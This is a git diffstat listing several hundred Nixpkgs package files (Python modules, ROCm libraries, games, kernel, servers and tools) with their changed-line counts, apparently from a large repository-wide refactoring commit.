 .../python-modules/spectral-cube/default.nix  | 192 ++--
 .../speechrecognition/default.nix             |   3 +-
 .../python-modules/spglib/default.nix         |  13 +-
 .../python-modules/sphinx-autoapi/default.nix |  19 +-
 .../sphinx-autodoc2/default.nix               |   3 +-
 .../python-modules/sphinx/default.nix         | 140 ++-
 .../sphinxcontrib-bibtex/default.nix          |  21 +-
 .../sphinxcontrib-spelling/default.nix        |   3 +-
 .../sphinxext-opengraph/default.nix           |   3 +-
 .../python-modules/splinter/default.nix       |   3 +-
 .../python-modules/spyder/default.nix         |   3 +-
 .../sqlalchemy-continuum/default.nix          |  17 +-
 .../sqlalchemy-utils/default.nix              |  54 +-
 .../python-modules/sqlalchemy/1_4.nix         |   3 +-
 .../python-modules/sqlfmt/default.nix         |   3 +-
 .../python-modules/sshfs/default.nix          |  17 +-
 .../starlette-admin/default.nix               |  27 +-
 .../python-modules/starlette/default.nix      |   3 +-
 .../python-modules/static3/default.nix        |   3 +-
 .../python-modules/statmake/default.nix       |  19 +-
 .../python-modules/stm32loader/default.nix    |   3 +-
 .../strawberry-django/default.nix             |  33 +-
 .../strawberry-graphql/default.nix            |   3 +-
 .../python-modules/streamlit/default.nix      |   3 +-
 .../python-modules/sunpy/default.nix          |  23 +-
 .../python-modules/swh-objstorage/default.nix |   3 +-
 .../python-modules/swh-storage/default.nix    |   3 +-
 .../python-modules/swifter/default.nix        |   3 +-
 .../python-modules/synergy/default.nix        |  25 +-
 .../python-modules/tabulate/default.nix       |   3 +-
 .../python-modules/temporalio/default.nix     |   3 +-
 .../python-modules/tensorboardx/default.nix   |  23 +-
 .../python-modules/tensordict/default.nix     |  54 +-
 .../python-modules/tensorflow/bin.nix         |   3 +-
 .../python-modules/tensorflow/default.nix     | 155 ++-
 .../python-modules/term-image/default.nix     |   3 +-
 .../textual-fastdatatable/default.nix         |   6 +-
 .../textual-textarea/default.nix              |   3 +-
 .../python-modules/textual/default.nix        |  20 +-
 .../python-modules/tf-keras/default.nix       |   3 +-
 .../threat9-test-bed/default.nix              |   3 +-
 .../python-modules/tianshou/default.nix       |  27 +-
 .../python-modules/tinygrad/default.nix       | 111 ++-
 .../torch-geometric/default.nix               |  51 +-
 .../python-modules/torch/bin/default.nix      |   3 +-
 .../python-modules/torch/source/default.nix   | 474 +++++----
 .../python-modules/torchaudio/bin.nix         |  31 +-
 .../python-modules/torchaudio/default.nix     |  31 +-
 .../python-modules/torcheval/default.nix      | 107 ++-
 .../python-modules/torchio/default.nix        |  17 +-
 .../python-modules/torchrl/default.nix        | 128 ++-
 .../python-modules/torchvision/default.nix    |  45 +-
 .../python-modules/towncrier/default.nix      |  15 +-
 .../python-modules/tox/default.nix            |   3 +-
 .../python-modules/tpm2-pytss/default.nix     |  45 +-
 .../python-modules/transitions/default.nix    |  35 +-
 .../python-modules/treq/default.nix           |   3 +-
 .../python-modules/trezor/default.nix         |   3 +-
 .../python-modules/trie/default.nix           |   3 +-
 .../python-modules/trimesh/default.nix        |  43 +-
 .../trino-python-client/default.nix           |   3 +-
 .../python-modules/trio-asyncio/default.nix   |   3 +-
 .../python-modules/trio-websocket/default.nix |  44 +-
 .../python-modules/trio/default.nix           |   3 +-
 .../python-modules/triton/default.nix         |  70 +-
 .../python-modules/trytond/default.nix        |  45 +-
 .../python-modules/tsfresh/default.nix        |  40 +-
 .../python-modules/ttfautohint-py/default.nix |  17 +-
 .../python-modules/tuf/default.nix            |  13 +-
 .../python-modules/tweepy/default.nix         |   3 +-
 .../python-modules/twine/default.nix          |  31 +-
 .../python-modules/twisted/default.nix        | 197 ++--
 .../python-modules/txredisapi/default.nix     |   3 +-
 .../python-modules/txtai/default.nix          |  21 +-
 .../python-modules/txtorcon/default.nix       |   3 +-
 .../python-modules/typed-settings/default.nix |  19 +-
 .../python-modules/typeguard/default.nix      |   3 +-
 .../python-modules/typepy/default.nix         |   3 +-
 .../python-modules/typer/default.nix          |  43 +-
 .../types-aiobotocore-packages/default.nix    |   3 +-
 .../python-modules/types-lxml/default.nix     |   3 +-
 .../python-modules/tzdata/default.nix         |   3 +-
 .../python-modules/tzlocal/default.nix        |   3 +-
 .../python-modules/ufmt/default.nix           |   3 +-
 .../python-modules/ufo2ft/default.nix         |  27 +-
 .../python-modules/ufolib2/default.nix        |   6 +-
 .../python-modules/ufoprocessor/default.nix   |  21 +-
 .../python-modules/ultralytics/default.nix    |  71 +-
 .../python-modules/uncertainties/default.nix  |   3 +-
 .../universal-silabs-flasher/default.nix      |  23 +-
 .../unstructured-api-tools/default.nix        |   3 +-
 .../unstructured-inference/default.nix        |  27 +-
 .../python-modules/uqbar/default.nix          |  39 +-
 .../python-modules/urllib3/default.nix        |   3 +-
 .../python-modules/urwid/default.nix          |   3 +-
 .../python-modules/uvicorn/default.nix        |   3 +-
 .../python-modules/uvicorn/tests.nix          |   3 +-
 .../python-modules/uvloop/default.nix         |  62 +-
 .../python-modules/vbuild/default.nix         |  17 +-
 .../python-modules/versioningit/default.nix   |   9 +-
 .../python-modules/virtualenv/default.nix     |  39 +-
 .../python-modules/visions/default.nix        |   3 +-
 .../python-modules/vivisect/default.nix       |   3 +-
 .../python-modules/vllm/default.nix           | 249 +++--
 .../python-modules/volvooncall/default.nix    |   3 +-
 .../python-modules/w1thermsensor/default.nix  |  15 +-
 .../python-modules/wagtail/default.nix        |   3 +-
 .../python-modules/wandb/default.nix          | 198 ++--
 .../python-modules/watchdog/default.nix       | 113 ++-
 .../python-modules/watermark/default.nix      |   3 +-
 .../python-modules/weasyprint/default.nix     |   3 +-
 .../python-modules/web/default.nix            |   3 +-
 .../python-modules/web3/default.nix           |  39 +-
 .../python-modules/webdataset/default.nix     |  63 +-
 .../python-modules/webdav4/default.nix        |   3 +-
 .../weblate-schemas/default.nix               |   3 +-
 .../python-modules/websockets/default.nix     |  39 +-
 .../python-modules/weconnect-mqtt/default.nix |   3 +-
 .../python-modules/werkzeug/default.nix       |   6 +-
 .../python-modules/wfuzz/default.nix          |  21 +-
 .../python-modules/wgpu-py/default.nix        |  85 +-
 .../python-modules/whey/default.nix           |   3 +-
 .../python-modules/whool/default.nix          |   3 +-
 .../python-modules/willow/default.nix         |   3 +-
 .../python-modules/wtforms/default.nix        |   3 +-
 .../python-modules/wxpython/4.2.nix           |  38 +-
 .../python-modules/xformers/default.nix       |   3 +-
 .../python-modules/xgrammar/default.nix       |  21 +-
 .../python-modules/xknx/default.nix           |   3 +-
 .../python-modules/xnd/default.nix            |  48 +-
 .../python-modules/xsdata/default.nix         |  13 +-
 .../python-modules/yalexs/default.nix         |   3 +-
 .../python-modules/yamllint/default.nix       |  25 +-
 .../python-modules/yowsup/default.nix         |   3 +-
 .../python-modules/zarr/default.nix           |   3 +-
 .../python-modules/zeep/default.nix           |   3 +-
 .../python-modules/zigpy/default.nix          |  18 +-
 .../python-modules/zope-security/default.nix  |   3 +-
 .../python-modules/zulip/default.nix          |   3 +-
 .../importlib-metadata/default.nix            |  15 +-
 .../python2-modules/mock/default.nix          |   3 +-
 .../python2-modules/pygtk/default.nix         |  29 +-
 .../python2-modules/pytest/default.nix        |  27 +-
 pkgs/development/r-modules/default.nix        |  18 +-
 pkgs/development/r-modules/wrapper-radian.nix |  13 +-
 .../development/r-modules/wrapper-rstudio.nix |  13 +-
 .../rocm-modules/6/aotriton/default.nix       | 121 ++-
 .../rocm-modules/6/clr/default.nix            | 115 ++-
 .../rocm-modules/6/composable_kernel/base.nix |  84 +-
 .../6/composable_kernel/default.nix           |  26 +-
 .../rocm-modules/6/hipblas/default.nix        |  93 +-
 .../rocm-modules/6/hipblaslt/default.nix      | 135 ++-
 .../rocm-modules/6/hipcub/default.nix         |  73 +-
 .../rocm-modules/6/hipfft/default.nix         |  95 +-
 .../rocm-modules/6/hiprand/default.nix        |  42 +-
 .../rocm-modules/6/hipsolver/default.nix      |  87 +-
 .../rocm-modules/6/hipsparse/default.nix      |  67 +-
 .../rocm-modules/6/llvm/default.nix           |  59 +-
 .../rocm-modules/6/migraphx/default.nix       |  83 +-
 .../rocm-modules/6/miopen/default.nix         | 194 ++--
 .../rocm-modules/6/mivisionx/default.nix      |  74 +-
 .../rocm-modules/6/rccl/default.nix           |  87 +-
 .../rocm-modules/6/rdc/default.nix            | 117 ++-
 .../rocm-modules/6/rocalution/default.nix     | 101 +-
 .../rocm-modules/6/rocblas/default.nix        | 145 ++-
 .../rocm-modules/6/rocdbgapi/default.nix      |  34 +-
 .../rocm-modules/6/rocfft/default.nix         |  27 +-
 .../rocm-modules/6/rocmlir/default.nix        |  52 +-
 .../rocm-modules/6/rocprim/default.nix        |  54 +-
 .../rocm-modules/6/rocrand/default.nix        |  54 +-
 .../rocm-modules/6/rocsolver/default.nix      | 108 +--
 .../rocm-modules/6/rocsparse/default.nix      |  79 +-
 .../rocm-modules/6/rocthrust/default.nix      |  54 +-
 .../rocm-modules/6/roctracer/default.nix      |  51 +-
 .../rocm-modules/6/rocwmma/default.nix        |  87 +-
 .../rocm-modules/6/rpp/default.nix            |  56 +-
 .../rocm-modules/6/tensile/default.nix        |  29 +-
 .../ruby-modules/bundled-common/default.nix   |   3 +-
 .../ruby-modules/bundler-app/default.nix      |   3 +-
 .../ruby-modules/bundler-env/default.nix      |   3 +-
 .../ruby-modules/gem-config/default.nix       | 181 ++--
 pkgs/development/ruby-modules/gem/default.nix |  21 +-
 .../s6-networking/default.nix                 |  53 +-
 .../skaware-packages/skalibs/default.nix      |  45 +-
 .../tcl-modules/by-name/ti/tix/package.nix    |  35 +-
 pkgs/development/tools/ammonite/default.nix   |  17 +-
 .../tools/analysis/qcachegrind/default.nix    |  47 +-
 .../tools/analysis/radare2/default.nix        |  39 +-
 .../tools/analysis/rizin/cutter.nix           |  27 +-
 .../tools/analysis/rizin/default.nix          |  27 +-
 .../tools/analysis/rizin/rz-ghidra.nix        |  38 +-
 .../build-managers/bazel/bazel_5/default.nix  |  51 +-
 .../build-managers/bazel/bazel_6/default.nix  | 202 ++--
 .../build-managers/bazel/bazel_7/default.nix  | 206 ++--
 .../tools/build-managers/bazel/cpp-test.nix   |  23 +-
 .../tools/build-managers/bazel/java-test.nix  |  35 +-
 .../build-managers/bazel/protobuf-test.nix    |  41 +-
 .../tools/build-managers/gradle/default.nix   | 107 ++-
 .../build-managers/gradle/update-deps.nix     |   3 +-
 .../tools/build-managers/sbt/scala-native.nix |  50 +-
 pkgs/development/tools/buildah/default.nix    |  21 +-
 pkgs/development/tools/buildah/wrapper.nix    |  15 +-
 pkgs/development/tools/comby/default.nix      |  62 +-
 .../buildbot/master.nix                       |  66 +-
 .../hercules-ci-agent/default.nix             |  82 +-
 .../tools/database/sqlitebrowser/default.nix  |   3 +-
 .../tools/devpi-server/default.nix            |   3 +-
 pkgs/development/tools/devpod/default.nix     |  52 +-
 .../tools/documentation/doxygen/default.nix   |  24 +-
 pkgs/development/tools/electron/common.nix    | 148 ++-
 pkgs/development/tools/godot/3/default.nix    |   9 +-
 pkgs/development/tools/godot/common.nix       | 571 ++++++-----
 .../tools/haskell/hadrian/hadrian.nix         |  47 +-
 .../tools/haskell/lambdabot/default.nix       |  24 +-
 pkgs/development/tools/hotdoc/default.nix     |  17 +-
 pkgs/development/tools/ilspycmd/default.nix   |  13 +-
 pkgs/development/tools/libsigrok/default.nix  |  29 +-
 .../tools/misc/binutils/2.38/default.nix      | 201 ++--
 .../tools/misc/binutils/2.38/libbfd.nix       |   6 +-
 .../tools/misc/binutils/default.nix           | 153 ++-
 .../tools/misc/creduce/default.nix            |  58 +-
 pkgs/development/tools/misc/gdb/default.nix   | 117 ++-
 .../tools/misc/luarocks/default.nix           |  55 +-
 pkgs/development/tools/misc/premake/5.nix     |  44 +-
 .../development/tools/misc/sqitch/default.nix |  27 +-
 .../development/tools/misc/texinfo/common.nix | 112 ++-
 pkgs/development/tools/mysql-shell/8.nix      |  72 +-
 .../tools/mysql-shell/innovation.nix          |  72 +-
 .../tools/ocaml/camlp4/default.nix            |  17 +-
 .../tools/ocaml/findlib/default.nix           |  13 +-
 .../tools/ocaml/merlin/dot-merlin-reader.nix  |  25 +-
 pkgs/development/tools/ocaml/opam/default.nix |   3 +-
 .../tools/parsing/flex/default.nix            |  15 +-
 .../tools/parsing/tree-sitter/default.nix     |  59 +-
 .../tools/profiling/heaptrack/default.nix     |  35 +-
 .../tools/rust/bindgen/default.nix            |  12 +-
 .../development/tools/rust/rustup/default.nix |  19 +-
 pkgs/development/tools/simavr/default.nix     |   3 +-
 pkgs/development/tools/wails/default.nix      |  21 +-
 pkgs/development/tools/wasmedge/default.nix   |  13 +-
 .../tools/yarn2nix-moretea/default.nix        |  24 +-
 pkgs/development/web/grails/default.nix       |  25 +-
 pkgs/development/web/nodejs/nodejs.nix        | 335 ++++---
 pkgs/development/web/nodejs/v20.nix           |   3 +-
 pkgs/development/web/playwright/webkit.nix    |  23 +-
 pkgs/games/2048-cli/default.nix               |   3 +-
 pkgs/games/anki/default.nix                   |   6 +-
 pkgs/games/armagetronad/default.nix           |  68 +-
 pkgs/games/arx-libertatis/default.nix         |  51 +-
 pkgs/games/blightmud/default.nix              |   9 +-
 pkgs/games/cataclysm-dda/common.nix           |  35 +-
 pkgs/games/chiaki/default.nix                 |  33 +-
 pkgs/games/construo/default.nix               |  17 +-
 pkgs/games/crawl/default.nix                  |  79 +-
 pkgs/games/cutemaze/default.nix               |  15 +-
 .../doom-ports/zandronum/alpha/default.nix    |  59 +-
 pkgs/games/doom-ports/zandronum/default.nix   |  59 +-
 pkgs/games/dwarf-fortress/dfhack/default.nix  |  51 +-
 .../dwarf-therapist/wrapper.nix               |  15 +-
 pkgs/games/dwarf-fortress/game.nix            |  77 +-
 pkgs/games/dwarf-fortress/lazy-pack.nix       |  37 +-
 pkgs/games/dwarf-fortress/unfuck.nix          |  47 +-
 pkgs/games/dwarf-fortress/wrapper/default.nix |  45 +-
 pkgs/games/freeciv/default.nix                |  91 +-
 pkgs/games/gcompris/default.nix               |  31 +-
 pkgs/games/koboredux/default.nix              |  21 +-
 pkgs/games/libremines/default.nix             |  13 +-
 pkgs/games/mudlet/default.nix                 |  89 +-
 pkgs/games/nethack/default.nix                |  60 +-
 pkgs/games/openmw/default.nix                 |  30 +-
 pkgs/games/openttd/default.nix                |  57 +-
 pkgs/games/openxray/default.nix               |  17 +-
 pkgs/games/path-of-building/default.nix       |   3 +-
 pkgs/games/quake2/yquake2/default.nix         |  20 +-
 pkgs/games/quake2/yquake2/wrapper.nix         |  29 +-
 pkgs/games/quakespasm/default.nix             |  37 +-
 pkgs/games/quakespasm/vulkan.nix              |  31 +-
 pkgs/games/scummvm/default.nix                |  15 +-
 .../games/shattered-pixel-dungeon/generic.nix |   3 +-
 pkgs/games/spring/default.nix                 |  47 +-
 pkgs/games/xonotic/default.nix                |  35 +-
 pkgs/kde/gear/akonadi/default.nix             |  53 +-
 pkgs/kde/gear/audiotube/default.nix           |   3 +-
 pkgs/kde/lib/mk-kde-derivation.nix            |   6 +-
 pkgs/kde/plasma/breeze-plymouth/default.nix   |  34 +-
 pkgs/misc/arm-trusted-firmware/default.nix    |  34 +-
 pkgs/misc/cups/default.nix                    | 140 ++-
 pkgs/misc/drivers/epkowa/default.nix          |  34 +-
 pkgs/misc/drivers/gutenprint/default.nix      |  44 +-
 pkgs/misc/jackaudio/default.nix               |  55 +-
 pkgs/misc/jackaudio/tools.nix                 |  25 +-
 pkgs/misc/opcua-client-gui/default.nix        |   3 +-
 pkgs/misc/uboot/default.nix                   |   9 +-
 .../bsd/freebsd/pkgs/compat/package.nix       | 211 ++--
 pkgs/os-specific/bsd/freebsd/pkgs/csu.nix     |   3 +-
 pkgs/os-specific/bsd/freebsd/pkgs/install.nix |  19 +-
 .../bsd/freebsd/pkgs/libcMinimal.nix          |   3 +-
 .../bsd/freebsd/pkgs/libcasper.nix            |   3 +-
 pkgs/os-specific/bsd/freebsd/pkgs/libmd.nix   |  16 +-
 .../bsd/freebsd/pkgs/libnetbsd/package.nix    |   3 +-
 .../bsd/freebsd/pkgs/libprocstat.nix          |   3 +-
 pkgs/os-specific/bsd/freebsd/pkgs/libthr.nix  |   3 +-
 pkgs/os-specific/bsd/freebsd/pkgs/libzfs.nix  |  17 +-
 .../bsd/freebsd/pkgs/localedef.nix            |   3 +-
 pkgs/os-specific/bsd/freebsd/pkgs/locales.nix |   3 +-
 pkgs/os-specific/bsd/freebsd/pkgs/make.nix    |  19 +-
 .../bsd/freebsd/pkgs/mkDerivation.nix         |  93 +-
 pkgs/os-specific/bsd/freebsd/pkgs/rc.nix      |  81 +-
 .../os-specific/bsd/freebsd/pkgs/rtld-elf.nix |   3 +-
 .../bsd/freebsd/pkgs/stand-efi.nix            |   3 +-
 .../bsd/freebsd/pkgs/sys/package.nix          |  46 +-
 .../bsd/netbsd/pkgs/compat/package.nix        |  90 +-
 .../bsd/netbsd/pkgs/make-rules.nix            |  85 +-
 pkgs/os-specific/bsd/netbsd/pkgs/make.nix     |  10 +-
 pkgs/os-specific/bsd/netbsd/pkgs/sys/base.nix |  30 +-
 .../bsd/openbsd/pkgs/mkDerivation.nix         |   3 +-
 .../bsd/openbsd/pkgs/sys/package.nix          |  12 +-
 .../apple-source-releases/ICU/package.nix     |  54 +-
 .../libiconv/package.nix                      |  30 +-
 .../apple-source-releases/libpcap/package.nix |   6 +-
 .../mkAppleDerivation.nix                     |   3 +-
 .../text_cmds/package.nix                     |  49 +-
 pkgs/os-specific/linux/ax99100/default.nix    |  20 +-
 .../linux/bionic-prebuilt/default.nix         |  85 +-
 pkgs/os-specific/linux/busybox/default.nix    |   6 +-
 pkgs/os-specific/linux/conky/default.nix      |  92 +-
 pkgs/os-specific/linux/corefreq/default.nix   |   3 +-
 pkgs/os-specific/linux/dmraid/default.nix     |  50 +-
 pkgs/os-specific/linux/drbd/utils.nix         |   3 +-
 pkgs/os-specific/linux/exfat/default.nix      |  15 +-
 pkgs/os-specific/linux/ffado/default.nix      |  83 +-
 .../linux/firmware/ath9k/default.nix          |  53 +-
 .../linux/firmware/raspberrypi/armstubs.nix   |  39 +-
 pkgs/os-specific/linux/freeipa/default.nix    |   3 +-
 pkgs/os-specific/linux/fuse/common.nix        |  44 +-
 pkgs/os-specific/linux/guvcview/default.nix   |  61 +-
 pkgs/os-specific/linux/iptables/default.nix   |   3 +-
 pkgs/os-specific/linux/iputils/default.nix    |  17 +-
 .../linux/kernel-headers/default.nix          |  48 +-
 .../linux/kernel/common-config.nix            | 666 +++++++------
 pkgs/os-specific/linux/kernel/generic.nix     |  72 +-
 pkgs/os-specific/linux/kernel/linux-rpi.nix   |  76 +-
 .../linux/kernel/manual-config.nix            | 153 ++-
 .../os-specific/linux/kernel/perf/default.nix | 145 ++-
 pkgs/os-specific/linux/kmod/default.nix       |  49 +-
 pkgs/os-specific/linux/lvm2/common.nix        | 134 ++-
 .../minimal-bootstrap/gnumake/default.nix     |   3 +-
 pkgs/os-specific/linux/nftables/default.nix   |  32 +-
 pkgs/os-specific/linux/nvidia-x11/generic.nix |  23 +-
 .../os-specific/linux/nvidia-x11/settings.nix |  57 +-
 pkgs/os-specific/linux/prl-tools/default.nix  |   3 +-
 pkgs/os-specific/linux/procps-ng/default.nix  |  21 +-
 pkgs/os-specific/linux/rtl8189es/default.nix  |   3 +-
 pkgs/os-specific/linux/rtl8723ds/default.nix  |  13 +-
 pkgs/os-specific/linux/rtl8812au/default.nix  |  20 +-
 pkgs/os-specific/linux/rtl8821au/default.nix  |  26 +-
 pkgs/os-specific/linux/rtl8852au/default.nix  |  20 +-
 pkgs/os-specific/linux/rtl8852bu/default.nix  |  20 +-
 pkgs/os-specific/linux/scx/scx_cscheds.nix    |  23 +-
 pkgs/os-specific/linux/scx/scx_full.nix       |   8 +-
 pkgs/os-specific/linux/sgx/sdk/default.nix    |  13 +-
 pkgs/os-specific/linux/sgx/sdk/ipp-crypto.nix |   3 +-
 pkgs/os-specific/linux/sssd/default.nix       |  45 +-
 pkgs/os-specific/linux/sysdig/default.nix     |  75 +-
 pkgs/os-specific/linux/systemd/default.nix    | 858 +++++++++--------
 pkgs/os-specific/linux/tbs/default.nix        |   3 +-
 pkgs/os-specific/linux/udisks/2-default.nix   |   3 +-
 pkgs/os-specific/linux/v4l-utils/default.nix  |  22 +-
 pkgs/os-specific/linux/wireguard/default.nix  |  16 +-
 .../linux/wpa_supplicant/default.nix          | 195 ++--
 pkgs/os-specific/linux/zfs/2_2.nix            |  13 +-
 pkgs/os-specific/linux/zfs/2_3.nix            |  13 +-
 pkgs/os-specific/linux/zfs/generic.nix        | 122 ++-
 pkgs/servers/asterisk/default.nix             |  52 +-
 pkgs/servers/authelia/default.nix             |  21 +-
 pkgs/servers/clickhouse/default.nix           | 123 ++-
 pkgs/servers/code-server/default.nix          | 172 ++--
 pkgs/servers/dns/knot-resolver/default.nix    | 128 ++-
 pkgs/servers/firebird/default.nix             |   3 +-
 .../build-custom-component/default.nix        |   6 +-
 .../custom-components/frigate/package.nix     |  21 +-
 .../yandex-station/package.nix                |   3 +-
 pkgs/servers/http/apache-httpd/2.4.nix        |  84 +-
 .../apache-modules/mod_python/default.nix     |  27 +-
 pkgs/servers/http/couchdb/3.nix               |  21 +-
 pkgs/servers/http/nginx/generic.nix           | 186 ++--
 pkgs/servers/http/tengine/default.nix         | 142 +--
 pkgs/servers/irc/solanum/default.nix          |  25 +-
 pkgs/servers/klipper/klipper-flash.nix        |  15 +-
 pkgs/servers/mail/mailman/hyperkitty.nix      |   3 +-
 pkgs/servers/mail/mailman/postorius.nix       |   3 +-
 pkgs/servers/mail/nullmailer/default.nix      |   3 +-
 pkgs/servers/mail/public-inbox/default.nix    |  31 +-
 pkgs/servers/mir/common.nix                   |  87 +-
 pkgs/servers/monitoring/grafana/default.nix   |   3 +-
 .../grafana/plugins/grafana-plugin.nix        |   6 +-
 pkgs/servers/monitoring/icinga2/default.nix   |   3 +-
 .../monitoring/prometheus/xmpp-alerts.nix     |  25 +-
 pkgs/servers/monitoring/zabbix/proxy.nix      |  96 +-
 pkgs/servers/monitoring/zabbix/server.nix     | 102 +-
 pkgs/servers/mpd/default.nix                  | 104 +-
 .../nextcloud/packages/apps/recognize.nix     |  60 +-
 pkgs/servers/nosql/influxdb/default.nix       |  19 +-
 pkgs/servers/nosql/influxdb2/default.nix      |  19 +-
 pkgs/servers/nosql/mongodb/7.0.nix            |   3 +-
 pkgs/servers/nosql/mongodb/mongodb.nix        | 136 ++-
 pkgs/servers/nosql/rethinkdb/default.nix      |  21 +-
 pkgs/servers/openafs/1.8/default.nix          | 138 ++-
 pkgs/servers/openafs/1.8/module.nix           |   3 +-
 pkgs/servers/openvscode-server/default.nix    |  83 +-
 pkgs/servers/pulseaudio/default.nix           | 211 ++--
 pkgs/servers/samba/4.x.nix                    | 280 +++---
 pkgs/servers/search/elasticsearch/7.x.nix     |   3 +-
 pkgs/servers/shishi/default.nix               |  29 +-
 .../sql/mariadb/connector-c/default.nix       |  36 +-
 pkgs/servers/sql/mariadb/default.nix          | 183 ++--
 pkgs/servers/sql/mysql/8.0.x.nix              |  50 +-
 pkgs/servers/sql/percona-server/8_0.nix       |  60 +-
 pkgs/servers/sql/percona-server/8_4.nix       | 208 ++--
 pkgs/servers/sql/postgresql/ext/h3-pg.nix     |  17 +-
 pkgs/servers/sql/postgresql/ext/postgis.nix   |  86 +-
 pkgs/servers/sql/postgresql/generic.nix       | 512 +++++-----
 pkgs/servers/sql/postgresql/libpq.nix         |  39 +-
 .../postgresql/postgresqlBuildExtension.nix   |  94 +-
 pkgs/servers/varnish/default.nix              |  25 +-
 .../web-apps/bookstack/composer-env.nix       |   3 +-
 pkgs/servers/web-apps/bookstack/default.nix   |  14 +-
 pkgs/servers/web-apps/discourse/default.nix   |  47 +-
 pkgs/servers/web-apps/lemmy/server.nix        |  11 +-
 .../web-apps/wordpress/packages/default.nix   |   3 +-
 pkgs/servers/x11/xorg/overrides.nix           | 113 ++-
 pkgs/servers/x11/xorg/xwayland.nix            |  85 +-
 pkgs/servers/xmpp/prosody/default.nix         |   3 +-
 pkgs/shells/bash/5.nix                        | 116 +--
 .../shells/fish/plugins/build-fish-plugin.nix |   3 +-
 pkgs/shells/fish/plugins/fzf-fish.nix         |  37 +-
 pkgs/shells/nushell/default.nix               |  34 +-
 pkgs/stdenv/generic/check-meta.nix            |   6 +-
 pkgs/stdenv/generic/make-derivation.nix       |  17 +-
 pkgs/stdenv/linux/default.nix                 |  47 +-
 pkgs/stdenv/linux/stdenv-bootstrap-tools.nix  | 277 +++---
 pkgs/stdenv/linux/test-bootstrap-tools.nix    |  89 +-
 pkgs/stdenv/native/default.nix                |  33 +-
 pkgs/test/auto-patchelf-hook/package.nix      |  15 +-
 pkgs/test/cc-wrapper/hardening.nix            |   3 +-
 pkgs/test/cross/default.nix                   |  67 +-
 .../dotnet/use-dotnet-from-env/default.nix    |   8 +-
 .../upstreamStackHpackVersion/default.nix     |  19 +-
 pkgs/test/overriding.nix                      |  15 +-
 pkgs/test/php/default.nix                     |  40 +-
 pkgs/test/stdenv/default.nix                  |  24 +-
 pkgs/test/stdenv/no-broken-symlinks.nix       |   9 +-
 pkgs/test/texlive/default.nix                 |   3 +-
 pkgs/tools/X11/virtualgl/default.nix          |  39 +-
 .../admin/google-cloud-sdk/components.nix     |  15 +-
 .../google-cloud-sdk/withExtraComponents.nix  |   6 +-
 pkgs/tools/admin/ibmcloud-cli/default.nix     |   3 +-
 pkgs/tools/admin/pulumi-bin/default.nix       |  38 +-
 pkgs/tools/admin/turbovnc/default.nix         |  55 +-
 pkgs/tools/archivers/p7zip/default.nix        |  42 +-
 pkgs/tools/archivers/rar/default.nix          |   3 +-
 pkgs/tools/archivers/unar/default.nix         |  53 +-
 pkgs/tools/archivers/zpaq/default.nix         |   3 +-
 pkgs/tools/audio/beets/common.nix             |  21 +-
 pkgs/tools/audio/beets/plugins/filetote.nix   |   3 +-
 .../backup/percona-xtrabackup/generic.nix     |  60 +-
 pkgs/tools/backup/restic/default.nix          |  25 +-
 pkgs/tools/compression/bzip3/default.nix      |   3 +-
 pkgs/tools/compression/gzip/default.nix       |  23 +-
 pkgs/tools/compression/zstd/default.nix       |  44 +-
 pkgs/tools/filesystems/ceph/arrow-cpp-19.nix  | 194 ++--
 pkgs/tools/filesystems/ceph/default.nix       |   3 +-
 .../ceph/old-python-packages/cryptography.nix |  35 +-
 pkgs/tools/filesystems/garage/default.nix     |  48 +-
 pkgs/tools/filesystems/irods/default.nix      |  28 +-
 pkgs/tools/games/alice-tools/default.nix      |  65 +-
 pkgs/tools/games/pokefinder/default.nix       |  53 +-
 pkgs/tools/graphics/asymptote/default.nix     |  87 +-
 pkgs/tools/graphics/gnuplot/default.nix       |  63 +-
 pkgs/tools/graphics/graphviz/default.nix      |   6 +-
 pkgs/tools/graphics/mangohud/default.nix      |  29 +-
 pkgs/tools/graphics/nifskope/default.nix      |   3 +-
 pkgs/tools/graphics/pfstools/default.nix      |  37 +-
 .../graphics/vulkan-caps-viewer/default.nix   |   3 +-
 pkgs/tools/graphics/zbar/default.nix          | 113 ++-
 .../fcitx5/fcitx5-chinese-addons.nix          |   3 +-
 .../inputmethods/fcitx5/fcitx5-configtool.nix |  55 +-
 pkgs/tools/inputmethods/fcitx5/fcitx5-gtk.nix |   6 +-
 pkgs/tools/inputmethods/fcitx5/fcitx5-skk.nix |  17 +-
 .../tools/inputmethods/fcitx5/with-addons.nix |  21 +-
 .../ibus-engines/ibus-cangjie/default.nix     |   3 +-
 pkgs/tools/inputmethods/ibus/default.nix      |  37 +-
 .../inputmethods/input-remapper/default.nix   |  34 +-
 .../inputmethods/skk/skk-dicts/default.nix    |  46 +-
 pkgs/tools/inputmethods/uim/default.nix       | 121 ++-
 .../misc/bat-extras/buildBatExtrasPkg.nix     |  28 +-
 .../tools/misc/bat-extras/modules/batdiff.nix |   3 +-
 .../misc/bat-extras/modules/batwatch.nix      |   3 +-
 pkgs/tools/misc/bat-extras/modules/core.nix   |   3 +-
 pkgs/tools/misc/ckb-next/default.nix          |   3 +-
 pkgs/tools/misc/coreutils/default.nix         | 171 ++--
 pkgs/tools/misc/file/default.nix              |   3 +-
 pkgs/tools/misc/graylog/graylog.nix           |  21 +-
 pkgs/tools/misc/grub/default.nix              |  74 +-
 pkgs/tools/misc/hdf5/default.nix              |  99 +-
 pkgs/tools/misc/heimdall/default.nix          |  18 +-
 pkgs/tools/misc/moreutils/default.nix         |  21 +-
 pkgs/tools/misc/qflipper/default.nix          |  33 +-
 pkgs/tools/misc/rmlint/default.nix            |  54 +-
 pkgs/tools/misc/tlp/default.nix               |  17 +-
 pkgs/tools/misc/tremor-rs/default.nix         |  32 +-
 pkgs/tools/misc/ttfautohint/default.nix       |   3 +-
 pkgs/tools/misc/vimpager/latest.nix           |   8 +-
 pkgs/tools/misc/youtube-dl/default.nix        |   7 +-
 pkgs/tools/networking/bitmask-vpn/default.nix |  67 +-
 .../networking/dd-agent/datadog-agent.nix     |  50 +-
 pkgs/tools/networking/gp-saml-gui/default.nix |   3 +-
 pkgs/tools/networking/lxi-tools/default.nix   |  36 +-
 pkgs/tools/networking/mailutils/default.nix   |  56 +-
 .../networking/maubot/plugins/generated.nix   |  12 +-
 pkgs/tools/networking/miniupnpd/default.nix   |  19 +-
 pkgs/tools/networking/mtr/default.nix         |  13 +-
 .../networking/networkmanager/default.nix     |  66 +-
 pkgs/tools/networking/openconnect/common.nix  |  25 +-
 pkgs/tools/networking/openssh/common.nix      |  96 +-
 pkgs/tools/networking/openvpn/default.nix     |  53 +-
 pkgs/tools/networking/pdsh/default.nix        |   3 +-
 pkgs/tools/networking/spoofer/default.nix     |   3 +-
